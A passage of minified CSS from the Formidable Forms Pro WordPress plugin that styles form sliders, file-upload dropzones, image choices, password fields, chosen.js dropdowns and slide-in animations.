none;box-shadow:none !important;border:none !important;cursor: pointer;padding:0 ;background:transparent !important;display: block;width: 100%;margin: 15px 0 8px;font-size:14px;height:auto;}.with_frm_style input[type=range]:active,.with_frm_style input[type=range]:focus {outline: none;box-shadow:none !important;background:transparent !important;padding:0 ;}.with_frm_style .frm_range_max {float: right;}.with_frm_style .frm_range_container input + .frm_range_value {text-align: center;display: block;}.with_frm_style input[type=range]::-webkit-slider-runnable-track {-webkit-appearance: none;border-radius: 4px;border-radius:var(--border-radius);border: none;height: 5px;background-color: #579AF6;background-color:var(--slider-bar-color);}.with_frm_style input[type=range]::-moz-range-track {border-radius: 4px;border-radius:var(--border-radius);border: none;height: 5px;background-color: #579AF6;background-color:var(--slider-bar-color);border-color: transparent;border-width: 39px 0;color: transparent;background-color:var(--toggle-off-color);}.with_frm_style input[type=range]::-moz-range-progress {border-radius: 4px;border-radius:var(--border-radius);border: none;height: 5px;background-color: #579AF6;background-color:var(--slider-bar-color);background-color: #3177c7;}.with_frm_style input[type=range]::-ms-fill-lower {border-radius: 4px;border-radius:var(--border-radius);border: none;height: 5px;background-color: #579AF6;background-color:var(--slider-bar-color);background-color:var(--toggle-off-color);}.with_frm_style input[type=range]::-ms-fill-upper {border-radius: 4px;border-radius:var(--border-radius);border: none;height: 5px;background-color: #579AF6;background-color:var(--slider-bar-color);}.with_frm_style input[type=range]::-webkit-slider-thumb {-webkit-appearance: none;-webkit-border-radius: 20px;height: 24px;width: 24px;border-radius: 24px;border: 1px solid #3177c7;color:#ffffff;background: #fff;cursor: pointer;margin-top: -10px;box-shadow:0 2px 6px rgba(41, 58, 82, 0.31);}.with_frm_style input[type=range]::-moz-range-thumb {height: 24px;width: 24px;border-radius: 24px;border: 1px solid #3177c7;color:#ffffff;background: #fff;cursor: pointer;-moz-border-radius: 20px;}.with_frm_style input[type=range]::-ms-thumb {height: 24px;width: 24px;border-radius: 24px;border: 1px solid #3177c7;color:#ffffff;background: #fff;cursor: pointer;}.with_frm_style input[type=range]::-moz-focus-outer {border: 0;}.with_frm_style .frm_dropzone{border-color: #BFC3C8;border-color: var(--border-color) ;border-radius:4px;border-radius: var(--border-radius) ;color: #555555;color: var(--text-color) ;background-color:#ffffff;background-color:var(--bg-color) ;}.with_frm_style .frm_dropzone .frm_upload_icon,.with_frm_style .frm_dropzone .dz-remove{color: #555555;color: var(--text-color) ;}.with_frm_style .frm_compact .frm_dropzone .frm_upload_icon {color: #ffffff;color: var(--submit-text-color) ;}.with_frm_style .frm_dropzone .frmsvg {width: 40px;height: 40px;}.with_frm_style .frm_dropzone .frm_remove_link .frmsvg {width: 18px;height: 18px;cursor: pointer;}.with_frm_style .frm_blank_field .frm_dropzone{border-color:#B94A48;border-color:var(--border-color-error) ;color:#444444;color:var(--text-color-error) ;background-color:#ffffff;background-color:var(--bg-color-error) ;}.with_frm_style .frm_dropzone .dz-preview .dz-progress {background: #eaeaea;background: var(--progress-bg-color) ;}.with_frm_style .frm_dropzone .dz-preview .dz-progress .dz-upload,.with_frm_style .frm_dropzone .dz-preview.dz-complete .dz-progress {background: #579AF6;background: var(--progress-active-bg-color) ;}.frm_image_size_medium {--image-size:250px;}.frm_image_size_large {--image-size:320px;}.frm_image_size_xlarge {--image-size:400px;}.frm_image_options .frm_opt_container {display: inline-flex;flex-flow: wrap;flex-direction:row;margin: 0 -10px;}.frm_image_options .frm_radio input[type=radio],.frm_image_options .frm_checkbox input[type=checkbox]{opacity: 0;position: absolute;z-index: -1;}.frm_image_options .frm_image_option_container {border: 1px solid #BFC3C8;border-color: var(--border-color);border-width: var(--field-border-width);border-radius: 3px;border-radius: var(--border-radius);display: flex;flex-wrap: wrap;box-sizing: border-box;-moz-box-sizing: border-box;position: relative;height: 100%;}.frm_image_options .frm_image_option_container.frm_label_with_image .frm_empty_url,.frm_image_options .frm_image_option_container.frm_label_with_image img {border-bottom-left-radius:0;border-bottom-right-radius:0;}.with_frm_style .vertical_radio.frm_image_options .frm_image_option > label {text-indent: 0;}.frm_show_images.frm_image_option_container {display: inline-flex;flex-wrap: nowrap;flex-direction: column;text-align: center;align-items: center;width: 150px;margin-right: 10px;margin-bottom: 10px;}.frm-summary-page-wrapper .frm_image_option_container img{width: 100%;height: 150px;object-fit: cover;}.frm_image_option_container .frm_selected_checkmark{position: absolute;z-index: 99;left: -10px;top: -12px;display: none;}.frm_image_option_container .frm_image_placeholder_icon {position: absolute;}.frm_image_option_container .frm_selected_checkmark svg{fill: #66afe9;fill:var(--border-color-active);width: 24px;height: 24px;}.frm_image_option_container .frm_image_placeholder_icon svg{width: 63px;opacity: .2;}.frm_text_label_for_image {text-align: center;width: 100%;padding: 10px;word-break: keep-all;}.frm_image_options .frm_image_option_container:hover,input[type="radio"]:checked + .frm_image_option_container,input[type="checkbox"]:checked + .frm_image_option_container {border-color: #66afe9;border-color: var(--border-color-active);box-shadow: 0 0 0 1px #66afe9;box-shadow: 0 0 0 1px var(--border-color-active);}input[type="radio"]:disabled + .frm_image_option_container,input[type="checkbox"]:disabled + .frm_image_option_container{opacity: .7;border-color:var(--border-color-disabled);}input[type="radio"]:checked + .frm_image_option_container .frm_selected_checkmark,input[type="checkbox"]:checked + .frm_image_option_container .frm_selected_checkmark {display: block;}.frm_blank_field.frm_image_options .frm_image_option_container {border-color: var(--border-color-error);}.frm_image_options .frm_image_option_container .frm_empty_url,.frm_image_options .frm_image_option_container img {width: 100%;height: 150px;height: var(--image-size);object-fit: cover;border-radius:var(--border-radius);}.frm_image_option_container .frm_empty_url {background:#ecf0f5;display:flex;justify-content: center;align-items: center;}.horizontal_radio .frm_checkbox.frm_image_option,.horizontal_radio .frm_radio.frm_image_option {padding-left: 0;}.frm_checkbox.frm_image_option,.frm_radio.frm_image_option {width:var(--image-size) !important; }.frm_form_field .frm_checkbox.frm_image_option,.frm_form_field .frm_checkbox.frm_image_option + .frm_checkbox,.frm_form_field .frm_radio.frm_image_option,.frm_form_field .frm_radio.frm_image_option + .frm_radio {margin:10px; }.frm_checkbox.frm_image_option label,.frm_radio.frm_image_option label{padding-left: 0;margin-left: 0;min-height: 0;visibility: visible; }.frm_with_bg_image .frm_form_fields > fieldset {position: relative;}.frm_with_bg_image .frm_form_fields > fieldset:before {content: ' ';display: block;position: absolute;top: 0;height: 100%;background-position: 50% 0;left: 0;width: 100%;background-image: var(--bg-image-url);background-repeat: no-repeat;background-size: cover;}.frm_with_bg_image .frm_form_fields > fieldset > *:not(.frm_screen_reader) {z-index: 1;position: relative;}@media screen and (max-width: 768px) {.frm-pass-req, .frm-pass-verified {width: 50% !important;white-space: nowrap;}}.frm-pass-req, .frm-pass-verified {display: flex;align-items: center;float: left;width: 20%;line-height: 20px;font-size: 12px;padding-top: 4px;min-width: 175px;}.frm-pass-req .frmsvg, .frm-pass-verified .frmsvg {width: 12px;height: 12px;padding-right: 4px;}.passed_svg, .failed_svg {display: none !important;}.frm-pass-verified .passed_svg,.frm-pass-req .failed_svg {display: inline-block !important;}div.frm-password-strength {width: 100%;float: left;}.frm_show_password_wrapper {position: relative;display: block;}.frm_show_password_wrapper input {display: block;}.frm_show_password_wrapper button {position: absolute;top: 50%;height: 32px;height: var(--field-height);right: 0;border: 0;background: transparent !important;cursor: pointer;transform: translateY(-50%);padding: 0 10px;color: #BFC3C8;color: var(--border-color);display: flex;align-items: center;}.frm_show_password_wrapper button:hover {color: #BFC3C8;color: var(--border-color);background: transparent !important;}.frm_show_password_wrapper button svg {width: 24px;height: 24px;}input[type="text"] + .frm_show_password_btn svg:first-child,input[type="password"] + .frm_show_password_btn svg:last-child,.frm_form_builder input[type="text"] + .frm_show_password_btn svg:last-child {display: none;}.frm_form_builder input[type="text"] + .frm_show_password_btn svg:first-child {display: block;}div.frm_repeat_grid:after, div.frm_repeat_inline:after, div.frm_repeat_sec:after {content: '';display: table;clear: both;}.with_frm_style .frm-summary-page-wrapper {padding: 50px;margin: 25px 0 50px;border: 1px solid #BFC3C8;border-color: var(--border-color);border-radius: 4px;border-radius: var(--border-radius);}.with_frm_style .frm-summary-page-wrapper .frm-edit-page-btn {float: right;margin: 0;padding: 3px 10px;font-size: 13px;}.frm-summary-page-wrapper .frm-line-table th {width: 40%;}button .frm-icon {display: inline-block;color: inherit;width: 12px;height: 12px;fill: currentColor;}.frm-line-table {width: 100%;border-collapse: collapse;margin-top: 0.5em;font-size: 15px;}.frm-line-table tr {background-color: transparent;border-bottom: 1px solid rgba(191,195,200,0.6);}.frm-line-table td,.frm-line-table th {border: 0;padding: 20px 15px;background-color: transparent;vertical-align: top;color: #3f4b5b;}.frm-line-table th {opacity: .7;font-size: 1.1em;font-weight: 500;}.frm-line-table h3 {font-size: 21px;font-weight: 500;margin: 0;}.frm_form_field .frm_total_formatted {display: inline-block;margin: 5px 0 0;}.frm_form_field.frm_total_big .frm_total_formatted {margin: 0;}.frm_form_field.frm_total_big .frm_total_formatted,.frm_form_field.frm_total_big input[type=text],.frm_form_field.frm_total_big input[type=number],.frm_form_field.frm_total_big input,.frm_form_field.frm_total_big textarea{font-size: 32px;font-weight: bold;line-height: 44px;}.frm_round{border-radius:50%;}.frm_round.frm_color_block{padding:3px;}.frm_square {border-radius:var(--border-radius);object-fit:cover;width:150px;height:150px;}.frmsvg{max-width:100%;fill:currentColor;vertical-align:sub;display:inline-block;}.frm_smaller{font-size:90%;}.frm_small{font-size:14px;font-weight:normal;}.frm_bigger{font-size:110%;}ul.frm_plain_list,ul.frm_plain_list li{list-style:none;list-style-type:none;margin-left:0;margin-right:0;padding-left:0;padding-right:0;}ul.frm_inline_list li{display:inline;padding:2px;}.frm_flex,.frm_full_row{display:flex;flex-direction:row;flex-wrap:wrap;}.frm_full_row > li,.frm_full_row > div{flex:1;text-align:center;}.frm_tiles > li,.frm_tiles > div{border:1px solid #BFC3C8;border-radius:4px;margin-top:20px;padding:25px;box-shadow:0 0 5px 1px rgba(0,0,0,0.075);}.with_frm_style .frm_repeat_sec .frm_form_field.frm_repeat_buttons .frm-svg-icon {fill:#ffffff;fill:var(--repeat-icon-color);}.frm_style_frm_style_template .frm_form_field.frm_repeat_buttons .frm-svg-icon {fill: var(--submit-text-color)!important;}.frm_remove_form_row:hover,.frm_add_form_row:hover {background: var(--submit-hover-bg-color);border-color: var(--submit-hover-border-color);color: var(--submit-hover-color);}.frm_repeat_sec .frm_form_field.frm_repeat_buttons .frm_add_form_row:hover svg.frm-svg-icon,.frm_repeat_sec .frm_form_field.frm_repeat_buttons .frm_remove_form_row:hover svg.frm-svg-icon,.frm_repeat_sec .frm_form_field.frm_repeat_buttons .frm_add_form_row:hover svg.frmsvg,.frm_repeat_sec .frm_form_field.frm_repeat_buttons .frm_remove_form_row:hover svg.frmsvg {fill: var(--submit-hover-color);}.frm_tiles h3{margin-top:5px;}.frm_forms.frm_full_submit .frm_submit button {width: 100%;}.frm_slidein .frm_form_fields > fieldset{animation-name: frmSlideInRight;animation-duration: 1s;}.frm_slidein.frm_going_back .frm_form_fields > fieldset {animation-name: frmSlideInLeft;}.frm_slidein.frm_slideout .frm_form_fields > fieldset {animation-name: frmSlideOutLeft !important;}.frm_slidein.frm_slideout.frm_going_back .frm_form_fields > fieldset {animation-name: frmSlideOutRight !important;}.frm_slidein .frm-g-recaptcha .grecaptcha-badge{animation-name: fadeIn;animation-duration: 2s;animation-fill-mode: both;}@keyframes frmSlideInLeft {0% {opacity: 0;-webkit-transform: translate3d(-3000px, 0, 0);transform: translate3d(-3000px, 0, 0);}100% {opacity: 1;-webkit-transform: none;transform: none;}}@keyframes frmSlideInRight {0% {opacity: 0;-webkit-transform: translate3d(3000px, 0, 0);transform: translate3d(3000px, 0, 0);}100% {opacity: 1;-webkit-transform: none;transform: none;}}@keyframes frmSlideOutLeft {0% {opacity: 1;-webkit-transform: none;transform: none;}100% {opacity: 0;-webkit-transform: translate3d(-2000px, 0, 0);transform: translate3d(-2000px, 0, 0);}}@keyframes frmSlideOutRight {0% {opacity: 1;-webkit-transform: none;transform: none;}100% {opacity: 0;-webkit-transform: translate3d(2000px, 0, 0);transform: translate3d(2000px, 0, 0);}}.frm_slideup .frm_form_fields > fieldset {animation-name: frmSlideDown;-webkit-animation-duration: 1s;animation-duration: 1s;-webkit-animation-fill-mode: both;animation-fill-mode: both;}.frm_slideup.frm_going_back .frm_form_fields > fieldset {animation-name: frmSlideUp;}.frm_slideup.frm_slideout .frm_form_fields > fieldset {animation-name: frmSlideOutUp !important;}.frm_slideup.frm_slideout.frm_going_back .frm_form_fields > fieldset {animation-name: frmSlideOutDown !important;}@keyframes frmSlideUp {0% {opacity: 0;-webkit-transform: translate3d(0, -200px, 0);transform: translate3d(0, -200px, 0);}100% {opacity: 1;-webkit-transform: none;transform: none;}}@keyframes frmSlideDown {0% {opacity: 0;-webkit-transform: translate3d(0, 200px, 0);transform: translate3d(0, 200px, 0);}100% {opacity: 1;-webkit-transform: none;transform: none;}}@keyframes frmSlideOutUp {0% {opacity: 1;-webkit-transform: none;transform: none;}100% {opacity: 0;-webkit-transform: translate3d(0, -200px, 0);transform: translate3d(0, -200px, 0);}}@keyframes frmSlideOutDown {0% {opacity: 1;-webkit-transform: none;transform: none;}100% {opacity: 0;-webkit-transform: translate3d(0, 200px, 0);transform: translate3d(0, 200px, 0);}}.with_frm_style .chosen-container{font-size:14px;font-size:var(--field-font-size);position:relative;display:inline-block;zoom:1;vertical-align:middle;width:100% !important;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;}.with_frm_style .chosen-container * { -webkit-box-sizing: border-box; box-sizing: border-box;}.with_frm_style .chosen-container .chosen-drop{background:#fff;border:1px solid #aaa;border-top:0;position:absolute;top:100%;z-index:1010;width:100%;clip: rect(0, 0, 0, 0);-webkit-clip-path: inset(100% 100%);clip-path: inset(100% 100%);}.with_frm_style .chosen-container.chosen-with-drop .chosen-drop{clip: auto;-webkit-clip-path: none;clip-path: none;}.with_frm_style .chosen-container a{cursor:pointer;}.with_frm_style .chosen-container .search-choice .group-name,.with_frm_style .chosen-container .chosen-single .group-name {margin-right: 4px;overflow: hidden;white-space: nowrap;text-overflow: ellipsis;font-weight: normal;color: #999999;}.with_frm_style .chosen-container .search-choice .group-name:after,.with_frm_style .chosen-container .chosen-single .group-name:after {content: ":";padding-left: 2px;vertical-align: top;}.with_frm_style .chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:0 0 0 8px;min-height:25px;text-decoration:none;white-space:nowrap;line-height:24px;}.with_frm_style .chosen-container-single .chosen-default {color: #999;}.with_frm_style .chosen-container-single .chosen-single span{margin-right:26px;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.with_frm_style .chosen-container-single .chosen-single-with-deselect span{margin-right:38px;}.with_frm_style .chosen-container-single .chosen-single abbr{display:block;position:absolute;right:26px;top:6px;width:12px;height:12px;font-size:1px;background:url('//www.mma-pllc.com/wp-content/plugins/formidable-pro/images/chosen-sprite.png') -42px 1px no-repeat;}.with_frm_style .chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px;}.with_frm_style .chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px;}.with_frm_style .chosen-container-single .chosen-single div{position:absolute;right:0;top:0;display:block;height:100%;width:18px;}.with_frm_style .chosen-container-single .chosen-single div b{background:url('//www.mma-pllc.com/wp-content/plugins/formidable-pro/images/chosen-sprite.png') no-repeat 0 2px;display:block;width:100%;height:100%;}.with_frm_style .chosen-container-single .chosen-search{padding:3px 4px;position:relative;margin:0;white-space:nowrap;z-index:1010;}.with_frm_style .chosen-container-single .chosen-search input[type="text"]{width:100% !important;max-width:100% !important;height:auto;background:url('//www.mma-pllc.com/wp-content/plugins/formidable-pro/images/chosen-sprite.png') no-repeat 100% -20px;font-size:1em;font-family:sans-serif;line-height:normal;border-radius:0;}.with_frm_style .chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box;}.with_frm_style .chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;clip: rect(0, 0, 0, 0);-webkit-clip-path: inset(100% 100%);clip-path: inset(100% 100%);}.with_frm_style .chosen-container .chosen-results{cursor:text;overflow-x:hidden;overflow-y:auto;position:relative;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch;}.with_frm_style .chosen-container .chosen-results li:before{background:none;}.with_frm_style .chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none;}.with_frm_style .chosen-container .chosen-results li,.with_frm_style .chosen-container .chosen-results li span{color:#555555;color:var(--text-color);}.with_frm_style .chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer;}.with_frm_style .chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default;}.with_frm_style .chosen-container .chosen-results li.highlighted{background-color: #3875d7;background-image: -webkit-gradient(linear, left top, left bottom, color-stop(20%, #3875d7), color-stop(90%, #2a62bc));background-image: linear-gradient(#3875d7 20%, #2a62bc 90%);color: #fff;}.with_frm_style .chosen-container .chosen-results li.no-results{display:list-item;background:#f4f4f4;}.with_frm_style .chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default;}.with_frm_style .chosen-container .chosen-results li.group-option{padding-left:15px;}.with_frm_style .chosen-container .chosen-results li em{font-style:normal;text-decoration:underline;}.with_frm_style .chosen-container-multi .chosen-choices{position:relative;overflow:hidden;margin:0;padding:0 5px;width:100%;height:auto;border: 1px solid #aaa;background-color: #fff;cursor:text;}.with_frm_style .chosen-container-multi .chosen-choices li{float:left;list-style:none;}.with_frm_style .chosen-container-multi .chosen-choices li.search-field{margin:0;padding:0;white-space:nowrap;}.with_frm_style .chosen-container-multi .chosen-choices li.search-field input[type="text"]{margin:1px 0;padding:0 !important;height:25px;outline:0;border:0 !important;background:transparent !important;box-shadow:none;color:#666;font-size:100%;font-family:sans-serif;line-height:normal;border-radius:0;width: 25px;}.with_frm_style .chosen-container-multi .chosen-choices li.search-choice{position:relative;margin:1px 5px 1px 0;padding:3px 20px 3px 5px;border:1px solid #aaa;max-width:100%;border-radius:3px;background-color:#eee;background-image: -webkit-gradient(linear, left top, left bottom, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), to(#eee));background-image: linear-gradient(#f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);background-size:100% 19px;background-repeat:repeat-x;background-clip:padding-box;box-shadow:0 0 2px white inset, 0 1px 0 rgba(0, 0, 0, 0.05);color:#333;line-height:13px;cursor:default;}.with_frm_style .chosen-container-multi .chosen-choices li.search-choice span {word-wrap: break-word;}.with_frm_style .chosen-container-multi .chosen-choices li.search-choice .search-choice-close{position:absolute;top:4px;right:3px;display:block;width:12px;height:12px;background:url('//www.mma-pllc.com/wp-content/plugins/formidable-pro/images/chosen-sprite.png') -42px 1px no-repeat;font-size:1px;}.with_frm_style .chosen-container-multi .chosen-choices li.search-choice .search-choice-close:hover{background-position:-42px -10px;}.with_frm_style .chosen-container-multi .chosen-choices li.search-choice-disabled{padding-right:5px;border:1px solid #ccc;background-color:#e4e4e4;background-image: -webkit-gradient(linear, left top, left bottom, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, #e8e8e8), to(#eee));background-image: linear-gradient(#f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%);color:#666;}.with_frm_style .chosen-container-multi .chosen-choices li.search-choice-focus{background:#d4d4d4;}.with_frm_style .chosen-container-multi .chosen-choices li.search-choice-focus .search-choice-close{background-position:-42px -10px;}.with_frm_style .chosen-container-multi .chosen-results{margin:0;padding:0;}.with_frm_style .chosen-container-multi .chosen-drop .result-selected{display:list-item;color:#ccc;cursor:default;}.with_frm_style .chosen-container-single.chosen-container-active .chosen-single{border:1px solid #5897fb;box-shadow:0 0 5px rgba(0, 0, 0, 0.3);}.with_frm_style .chosen-container-single.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0;box-shadow:0 1px 0 #fff inset;}.with_frm_style .chosen-container-single.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent;}.with_frm_style .chosen-container-single.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px;}.with_frm_style .chosen-container-active .chosen-choices {border: 1px solid #5897fb;-webkit-box-shadow: 0 0 5px rgba(0, 0, 0, 0.3);box-shadow: 0 0 5px rgba(0, 0, 0, 0.3);}.with_frm_style .chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#111 !important;}.with_frm_style .chosen-disabled{opacity:0.5 !important;cursor:default;}.with_frm_style .chosen-disabled .chosen-single{cursor:default;}.with_frm_style .chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default;}.with_frm_style .chosen-rtl{text-align:right;}.with_frm_style .chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0;}.with_frm_style .chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl;}.with_frm_style .chosen-rtl .chosen-single-with-deselect span{margin-left:38px;}.with_frm_style .chosen-rtl .chosen-single div{right:auto;left:3px;}.with_frm_style .chosen-rtl .chosen-single abbr{right:auto;left:26px;}.with_frm_style .chosen-rtl .chosen-choices li{float:right;}.with_frm_style .chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl;}.with_frm_style .chosen-rtl .chosen-choices li.search-choice{margin:1px 5px 1px 0;padding:3px 5px 3px 19px;}.with_frm_style .chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px;}.with_frm_style .chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0;}.with_frm_style .chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0;}.with_frm_style .chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:none;}.with_frm_style .chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:url('//www.mma-pllc.com/wp-content/plugins/formidable-pro/images/chosen-sprite.png') no-repeat -30px -20px;direction:rtl;}.with_frm_style .chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px;}.with_frm_style .chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px;}.with_frm_style .frm_repeat_sec,.with_frm_style .frm_repeat_inline,.with_frm_style .frm_repeat_grid {position: relative;}@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-resolution: 144dpi){.with_frm_style .chosen-rtl .chosen-search input[type="text"],.with_frm_style .chosen-container-single .chosen-single abbr,.with_frm_style .chosen-container-single .chosen-single div b,.with_frm_style .chosen-container-single .chosen-search input[type="text"],.with_frm_style .chosen-container-multi .chosen-choices .search-choice .search-choice-close,.with_frm_style .chosen-container .chosen-results-scroll-down span,.with_frm_style .chosen-container .chosen-results-scroll-up span{background-image:url('//www.mma-pllc.com/wp-content/plugins/formidable-pro/images/chosen-sprite2x.png') !important;background-size:52px 37px !important;background-repeat:no-repeat !important;}}@-webkit-keyframes passing-through {0% {opacity: 0;-webkit-transform: translateY(40px);-moz-transform: translateY(40px);-ms-transform: translateY(40px);-o-transform: translateY(40px);transform: translateY(40px);}30%, 70% {opacity: 1;-webkit-transform: translateY(0px);-moz-transform: translateY(0px);-ms-transform: translateY(0px);-o-transform: translateY(0px);transform: translateY(0px);}100% {opacity: 0;-webkit-transform: translateY(-40px);-moz-transform: translateY(-40px);-ms-transform: translateY(-40px);-o-transform: translateY(-40px);transform: translateY(-40px);}}@-moz-keyframes passing-through {0% {opacity: 0;-webkit-transform: translateY(40px);-moz-transform: translateY(40px);-ms-transform: translateY(40px);-o-transform: translateY(40px);transform: translateY(40px);}30%, 70% {opacity: 1;-webkit-transform: translateY(0px);-moz-transform: translateY(0px);-ms-transform: translateY(0px);-o-transform: translateY(0px);transform: translateY(0px);}100% {opacity: 0;-webkit-transform: translateY(-40px);-moz-transform: translateY(-40px);-ms-transform: translateY(-40px);-o-transform: translateY(-40px);transform: translateY(-40px);}}@keyframes passing-through {0% {opacity: 0;-webkit-transform: translateY(40px);-moz-transform: translateY(40px);-ms-transform: translateY(40px);-o-transform: translateY(40px);transform: translateY(40px);}30%, 70% {opacity: 1;-webkit-transform: translateY(0px);-moz-transform: translateY(0px);-ms-transform: translateY(0px);-o-transform: translateY(0px);transform: translateY(0px);}100% {opacity: 0;-webkit-transform: translateY(-40px);-moz-transform: translateY(-40px);-ms-transform: translateY(-40px);-o-transform: translateY(-40px);transform: translateY(-40px);}}@-webkit-keyframes slide-in {0% {opacity: 0;-webkit-transform: translateY(40px);-moz-transform: translateY(40px);-ms-transform: translateY(40px);-o-transform: translateY(40px);transform: translateY(40px);}30% {opacity: 1;-webkit-transform: translateY(0px);-moz-transform: translateY(0px);-ms-transform: translateY(0px);-o-transform: translateY(0px);transform: translateY(0px);}}@-moz-keyframes slide-in {0% {opacity: 0;-webkit-transform: translateY(40px);-moz-transform: translateY(40px);-ms-transform: translateY(40px);-o-transform: translateY(40px);transform: translateY(40px);}30% {opacity: 1;-webkit-transform: translateY(0px);-moz-transform: translateY(0px);-ms-transform: translateY(0px);-o-transform: translateY(0px);transform: translateY(0px);}}@keyframes slide-in {0% {opacity: 0;-webkit-transform: translateY(40px);-moz-transform: translateY(40px);-ms-transform: translateY(40px);-o-transform: translateY(40px);transform: translateY(40px);}30% {opacity: 1;-webkit-transform: translateY(0px);-moz-transform: translateY(0px);-ms-transform: translateY(0px);-o-transform: translateY(0px);transform: translateY(0px);}}.frm_dropzone, .frm_dropzone * {box-sizing: border-box;}.frm_dropzone.frm_single_upload,.frm_dropzone.dz-clickable {min-height: 60px;margin-top:5px;line-height:1.42857143;}.frm_dropzone.dz-clickable * {cursor: default;}.frm_dropzone.frm_single_upload {max-width: 200px;}.frm_dropzone.frm_single_upload.dz-started {max-width: 300px;}.frm_form_field.frm_full .frm_dropzone.dz-clickable.frm_single_upload,.frm_form_field.frm_full_upload .frm_dropzone.dz-clickable.frm_single_upload,.frm_form_field.frm_full .frm_dropzone.dz-started.frm_single_upload,.frm_form_field.frm_full_upload .frm_dropzone.dz-started.frm_single_upload{max-width:100%;}.frm_form_field.frm_full .frm_dropzone.dz-clickable.frm_single_upload .dz-message,.frm_form_field.frm_full_upload .frm_dropzone.dz-clickable.frm_single_upload .dz-message{margin: .5em 0 1em;}.frm_dropzone .dz-message{border: 2px dashed #dfdfdf;background:#ffffff;padding: 20px;border-radius:5px;cursor: pointer;display:none;font-size:20px;text-align: center;margin: .5em 0 1em;}.frm_dropzone.dz-clickable.frm_single_upload .dz-message{margin: 0 0 .5em 0;}.frm_dropzone.frm_single_upload.dz-started .dz-message{display: none;}.frm_dropzone.dz-clickable .dz-message,.frm_dropzone .frm_upload_icon{display:block;}.frm_dropzone.dz-clickable .dz-message,.frm_dropzone.dz-clickable .dz-message * {cursor: pointer;}#frm_form_editor_container .frm_dropzone.dz-clickable,#frm_form_editor_container .frm_dropzone.dz-clickable *{cursor: default;}.frm_dropzone.dz-drag-hover .dz-message {opacity: 0.5;}.frm_dropzone .frm_upload_icon:before{font-size:40px;}.frm_dropzone .frm_small_text {font-size:14px;}.frm_dropzone.dz-drag-hover {border-style: solid;}.frm_dropzone .dz-preview {padding: 15px 0;border-bottom: 1px solid #dfdfdf;}.frm_dropzone .dz-preview:last-child {border-bottom: none;}.frm_dropzone .dz-preview:hover {z-index: 1000;}.frm_dropzone .dz-preview.dz-file-preview .dz-details {opacity: 1;}.frm_dropzone .dz-preview.dz-image-preview .dz-details {-webkit-transition: opacity 0.2s linear;-moz-transition: opacity 0.2s linear;-ms-transition: opacity 0.2s linear;-o-transition: opacity 0.2s linear;transition: opacity 0.2s linear;}.frm_dropzone .dz-preview .dz-remove {cursor: pointer;border: none;float: right;}.frm_dropzone .dz-preview:hover .dz-details {opacity: 1;}.frm_dropzone .dz-preview .dz-details {font-size: 14px;margin: 5px 0 10px;}.frm_dropzone .dz-preview .dz-details .dz-size,.frm_dropzone .dz-preview .dz-details .dz-filename {display: inline-block;overflow: hidden;white-space: nowrap;}.frm_dropzone .dz-preview .dz-details .dz-size strong {font-weight: normal;}.frm_dropzone .dz-preview .dz-details .dz-filename {max-width: 65%;text-overflow: ellipsis;}.frm_dropzone .dz-preview .dz-details .dz-filename a{cursor:pointer;}.frm_dropzone .dz-preview .dz-column {float: right;width: 68%;}.frm_dropzone .dz-preview .dz-image {overflow: hidden;width: 30%;height: 60px;display: block;float: left;margin-right: 2%;}.frm_dropzone .dz-preview .dz-image img {display: block;margin:0 auto;max-height: 60px;}.frm_dropzone .dz-preview.dz-success .dz-success-mark {-webkit-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);-moz-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);-ms-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);-o-animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);animation: passing-through 3s cubic-bezier(0.77, 0, 0.175, 1);}.frm_dropzone .dz-preview.dz-processing .dz-progress {-webkit-transition: all 0.2s linear;-moz-transition: all 0.2s linear;-ms-transition: all 0.2s linear;-o-transition: all 0.2s linear;transition: all 0.2s linear;}.frm_dropzone .dz-preview .dz-progress {pointer-events: none;position: relative;height: 10px;width: 100%;background: rgba(221, 221, 221, 1);-webkit-transform: scale(1);border-radius: 8px;overflow: hidden;}.frm_dropzone .dz-preview .dz-progress .dz-upload,.frm_dropzone .dz-preview.dz-complete .dz-progress{background: #333;background: linear-gradient(to bottom, #666, #444);}.frm_dropzone .dz-preview .dz-progress .dz-upload {position: absolute;top: 0;left: 0;bottom: 0;width: 0;-webkit-transition: width 